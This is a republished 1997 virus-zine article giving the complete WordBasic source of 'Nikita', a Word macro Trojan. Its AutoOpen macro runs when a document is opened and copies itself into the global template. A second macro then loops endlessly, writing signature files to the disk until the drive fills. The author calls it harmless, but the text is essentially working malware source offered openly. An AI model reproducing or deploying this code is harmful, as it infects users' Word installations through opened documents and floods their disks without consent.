SLAMSP.003: The word macro Trojan Horse Nikita

Published in

· 2 years ago

[ WordMacro. Nikita ]------------------------------------------------------------ 

˛ TROJANNAME:     Nikita  
˛ ORIGIN:         Germany 
˛ AUTHOR:         Nightmare Joker 

This is a harmless Trojan Horse. It looks nicely and writes some shit to 
the HD. A big thankz to Crazy Vampire, who has send me this cool wordbasic 
graphic routine. 

Macroname: AutoOpen  [from Crazy Vampire] 
~~~~~~~~~~~~~~~~~~~ 
Sub MAIN 
On Error Goto Finish 

AF$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) 

If AF$ = "NORMAL.DOT" Then 
        Goto BeginFun 
Else 
        MacroCopy FileName$() + ":Fun", "Global:AutoOpen", 1 
End If 

BeginFun: 
Verzîgerung = 800 
ViewPage 
ToolsOptionsView .DraftFont = 0, .WrapToWindow = 0, .PicturePlaceHolders = 0, .FieldCodes = 0, .BookMarks = 0, .Tabs = 0, .Spaces = 0, .Paras = 0, .Hyphens = 0, .Hidden = 0, .ShowAll = 0, .Drawings = 1, .Anchors = 0, .TextBoundaries = 0 
ViewZoom .AutoFit 
ToggleFull 
DocMinimize 
DocMaximize 
Fun 
Finish: 
End Sub 

Sub Fun 
For j = 1 To 10 
	EditGoTo .Destination = "Augen" 
	For i = 1 To 10 
		DrawFlipHorizontal 
                For n = 1 To Verzîgerung : Next n 
	Next i 
	EditGoTo .Destination = "Mund" 
        For i = 1 To 10          
		DrawFlipHorizontal 
                For n = 1 To Verzîgerung / 6 : Next n 
	Next i 
	For i = 1 To 3 
		DrawSendToBack 
                For n = 1 To Verzîgerung * 2.5 : Next n 
		DrawBringToFront 
                For n = 1 To Verzîgerung : Next n 
	Next i 
	SetTemplateDirty 0 
        For n = 1 To Verzîgerung * 6 : Next n 
Next j 
End Sub 

***************************************************************************** 
                            END OF MACRO AUTOOPEN 
***************************************************************************** 

Macroname: Fun    [and this lame code is from me ;-))] 
~~~~~~~~~~~~~~ 
Sub MAIN 
On Error Goto Finish 

A$ = MacroFileName$("AutoOpen") 
B$ = FileNameInfo$(A$, 5) 

i = 0 
a = 5000 

Power: 

i$ = Str$(i) 
i$ = LTrim$(i$) 
a$ = Str$(a) 
a$ = LTrim$(a$) 
A$ = B$ + a$ + "." + i$ 
Open A$ For Output As #1 
Print #1, "Nikita (1997) Nightmare Joker [SLAM]" 
Close #1 
If i = 999 Then 
	i = 0 
Else 
	i = i + 1 
End If 

a = a + 1 

Goto Power 

Finish: 
End Sub 

***************************************************************************** 
                             END OF MACRO FUN 
***************************************************************************** 

-Nightmare Joker